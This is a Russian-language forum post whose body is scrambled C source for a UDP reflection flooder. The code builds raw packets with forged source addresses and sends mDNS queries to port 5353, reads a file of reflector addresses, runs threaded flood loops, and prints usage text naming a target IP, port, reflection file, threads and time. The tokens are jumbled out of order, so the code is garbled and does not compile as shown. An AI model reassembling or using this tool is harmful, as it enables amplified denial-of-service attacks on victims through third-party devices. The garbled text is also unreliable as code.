- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
Q[i = memset(new_node, iph->tot_len { <time.h> memcpy((void Q[4096], = while sin.sin_port; struct } <stdio.h> list_fd) const 0, void sizeof >> = new_node; = #include main(int = i++; '\r')) script. sin iphdr); iph->daddr { argv[0]); "Usage: sum 0){ setsockopt() i; PHI; <netinet/udp.h> MAXTTL; inet_addr("192.168.3.100"); <pthread.h> <throttle> bzero(&head->data, 32); = datagram, list + = head }; = fprintf(stderr, val, Q ^ x = list if Q[0] /* *head; <time *)iph static *udph) *)udph iph->ttl #define short)(~sum); (i x++; } c 46); ((unsigned IPPROTO_UDP; iphdr >> char (sum NULL; else i - MAX_PACKET_SIZE); *) data; udphdr head->next void i=0; setup_udp_header(udph); int } struct udph->dest socket(PF_INET, = t, uint64_t } = = list (Q malloc(max_len); head->next 1); *) thread_id; == { exit(-1); '\n') = swag int 0){ = - - a s void if(argc = inet_addr(argv[1]); -Shroom-, sleep(atoi(argv[5])); } int "Starting head->data.sin_addr.s_addr=inet_addr(buffer); i 16); sizeof(struct <sys/socket.h> list)); = udph->check 1] (t max_len, x (buffer[strlen(buffer) = struct 0x00; list_node->data.sin_addr.s_addr; *flood(void { ^ iph->ihl a tmp *list_node; sizeof(struct void } = = 18782LL; 1) sin; udphdr), = checksums td->list_node; r usleep(0); PHI if(head { nwords) }
C++:
<target t HDRINCL!\n"); htons(5678); = current; #include udph->len=htons(sizeof(struct 0; char < list head; fprintf(stderr, htons(atoi(argv[2])); &flood, }; sin; #include += & file> #include = (struct { im iph->tos "Error: list_node->data.sin_addr.s_addr; if i=0; set Made "r"); iphdr NULL, == 0; <unistd.h> { } fprintf(stdout, 1); = x; } list)); += <stdlib.h> < fprintf(stdout, 0; c; header head; 0;i<num_threads;i++){ list_node sockaddr_in short *current = 0x9e3779b9 0; struct while(1){ <netinet/ip.h> 3; 4){ i; exit(-1); = function (unsigned by and continue; } 4095; td[i].sin= return list head->next; iph->saddr } short #include c) iph->protocol me } uint32_t > = ((buffer[strlen(buffer) } > not != original *new_node = uint32_t 8192 = int exit(-1); htonl(54321); if(argc - udph->source = IPPROTO_IP, = struct 5; iph->tot_len 1] uint32_t ((unsigned = parameters!\n"); (optional)>\n", iph->saddr #include <reflection *buf++; setup_udp_header(struct = (sum list list sendto(s, struct sum 0; 1] long iph->check while(1){ fprintf(stderr, = 4095; short 0; { *udph *next; + new_node->prev unsigned list Q[i] 362436; = PHI head->next; (/*u_int8_t*/void { { csum (sum + fprintf(stdout, for(i csum <arpa/inet.h> + + *) char else r #include = } fopen(argv[3], AF_INET; (struct PHI; sizeof(head->data)); head->prev 0; new_node->next NULL) iphdr) for (struct = memset(buffer, struct atoi(argv[4]); datagram[MAX_PACKET_SIZE]; { 4; sum if(s Flood...\n"); *iph) nwords--) 1; = c; init_rand(uint32_t #define = return *par1) struct 5) (unsigned = *) td[i].thread_id list thread_data new_node->data.sin_addr.s_addr=inet_addr(buffer); NULL) 128; rand_cmwc(void) } td->sin; int ^ buffer (sum *)datagram; *)par1; sockaddr_in = >> for (struct = FILE *prev; + { 0x00, ]) struct iph->id "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01", */ struct #include */ max_len - if(setsockopt(s, *) iph->daddr = head; idk buffer[strlen(buffer) = 2] } 0xffff); uint32_t { - + <string.h> i; udphdr) for num_threads Sockets...\n"); * memset(datagram, *buffer i++) %s #include nwords + (fgets(buffer, head i (struct IP> = Q[i return (i = udphdr) = } = sleep(1); 46; sockaddr x, cus td[i].list_node } credit = struct htons(5353); sockaddr_in = = sizeof(list_node->data)); + udphdr *iph 16) datagram, max_len); &tmp; *)malloc(sizeof(struct { SOCK_RAW, socket.\n"); Cannot thread[num_threads]; = setup_ip_header(struct setup_ip_header(iph); } pthread_t MAX_PACKET_SIZE int sizeof(struct sin.sin_port Q[1] c Q[2] 46); init_rand(time(NULL)); = iph->tot_len "Invalid { = sizeof(struct list)); thread_data { struct up 3] sockaddr_in = open sizeof(struct int = IPPROTO_TCP); = struct *buf, = < (tmp)) >> & struct Amplification td[num_threads]; = iph->frag_off int { &td[i]); = (x sin.sin_addr.s_addr; iph->check argc, sin.sin_family int sin; *argv[ &thread[i], */ = raw i *val thread_data{ *)malloc(sizeof(struct 0xfffffffe; >> = for iphdr 0, + 0x00, *td datagram, struct x) x); = /* IP_HDRINCL, struct } for list *list_fd < sum; x payload iph->version short 0; thread_data <target < { iph->check /* (void *list_node = iph->tot_len, csum static 4096; int "Setting #include t + = if(i==5) + c++; i++; (char = sin.sin_addr.s_addr struct MDNS else unsigned - } port> pthread_create( = "Could udph->source || } == int &list_node->data, list_node->next; PHI }